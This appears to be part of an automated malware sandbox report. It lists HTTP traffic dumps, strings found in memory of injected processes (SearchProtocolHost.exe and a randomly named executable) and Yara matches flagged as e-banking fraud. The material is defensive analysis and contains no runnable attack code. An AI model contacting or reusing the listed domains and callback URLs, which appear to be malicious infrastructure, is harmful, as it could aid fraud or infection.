5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 d8 fc 81 9c 88 49 d4 4d a2 a7 32 a7 f3 01 73 3a ef a6 f3 a7 32 e7 b3 01 73 3e eb e6 b3 a7 32 97 43 e6 72 d6 2d 9f cc 0c a3 c5 00 1a Data Ascii: 33fnF={E@I/M&@{V(C,)oc@B/VPQ$QqZ;a\|_@2}"P'D@\v+B@1D\|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf\|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>2Cr-
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:57:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqBMkhpOE6J0R9SvIvc31Nx8n%2FJccHoLeQFmUKhm%2FcSTb1OiLtWz27LYqC4GURJAZy%2BmIw3BEhniG8FT%2B6AP8eOlAPlyLTkmCAoWNooDk9R0TrY5LDv56XOo5%2Fi9ppAZyRSXSSksQB8GyFQm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e59a2411ea043d0-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1627&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1834&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 d8 fc 81 9c 88 49 d4 4d a2 a7 32 a7 f3 01 73 3a ef a6 f3 a7 32 e7 b3 01 73 3e eb e6 b3 a7 32 97 43 e6 72 d6 2d 9f cc 0c a3 c5 00 1a 46 8b 2e Data Ascii: 33fnF={E@I/M&@{V(C,)oc@B/VPQ$QqZ;a\|_@2}"P'D@\v+B@1D\|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf\|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>2Cr-F.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:57:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8YEKMAkxfBN2CzwjbWQrDYELRAv2oiMG%2Flid7Vb%2B6PD4656EVnwDNvMVUAQge5iyG5UkrAHQfRuCFORhJN5TQcKDYBTIRYD3ubY8rhyrEnBlvXReEciF9ng9FH9Xzen2G%2BPL%2Bqdj3U6aS68Q"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e59a25198e418bc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2097&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=513&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 6f 73 70 65 64 61 67 65 6d 20 64 65 20 53 69 74 65 20 63 6f 6d 20 44 6f 6d c3 ad 6e 69 6f 20 47 72 c3 a1 74 69 73 20 2d 20 48 6f 73 74 47 61 74 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 Data Ascii: 939<!DOCTYPE html><html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="format-detection" content="telephone=no"> <meta name="robots" content="noindex"> <title>Hospedagem de Site com Domnio Grtis - HostGator</title> <link rel="shortcut

Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/js/min.js?v2.3
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/28903/search.png)
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/29590/bg1.png)
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg
Source: SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000535C000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000040FC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/px.js?ch=1
Source: SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000535C000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000040FC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/px.js?ch=2
Source: SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000535C000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000040FC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/sk-logabpstatus.php?a=WnBLNjkrbVlldHVINmphNWlCc0VwNzM2dk40eEMzS2RMZnFB
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.Guacamask.online
Source: zfEzkYXCOLr.exe, 00000007.00000002.3778720033.0000000004ECD000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.amayavp.xyz
Source: zfEzkYXCOLr.exe, 00000007.00000002.3778720033.0000000004ECD000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.amayavp.xyz/dcdf/
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/Guacamask_Online_Banking.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBG
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/Guacamask_Online_Booking.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBG
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/Guacamask_Online_Gratis.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBGu
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/Guacamask_Online_Sa_Prevodom.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2B
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/Guacamask_Online_Store.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBGuB
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/__media__/design/underconstructionnotice.php?d=guacamask.online
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/__media__/js/trademark.php?d=guacamask.online&type=ns
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.guacamask.online/display.cfm
Source: zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003922000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.consentmanager.net
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.00000000049F0000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003790000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://delivery.consentmanager.net
Source: zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.00000000046CC000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.000000000346C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: SearchProtocolHost.exe, 00000006.00000003.1755924763.0000000007F3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_de
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LI
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033PI
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033tI
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033y
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.0000000004216000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000002FB6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.aapanel.com/new/download.html?invite_code=aapanele
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.0000000004D14000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003AB4000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SearchProtocolHost.exe, 00000006.00000002.3777602378.00000000051CA000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003F6A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.hostgator.com.br

E-Banking Fraud

.NET source code contains very large strings

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3775770307.0000000003310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3766152449.0000000002E30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3778720033.0000000004E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3775867961.0000000003360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3776047810.0000000005420000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1574816777.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
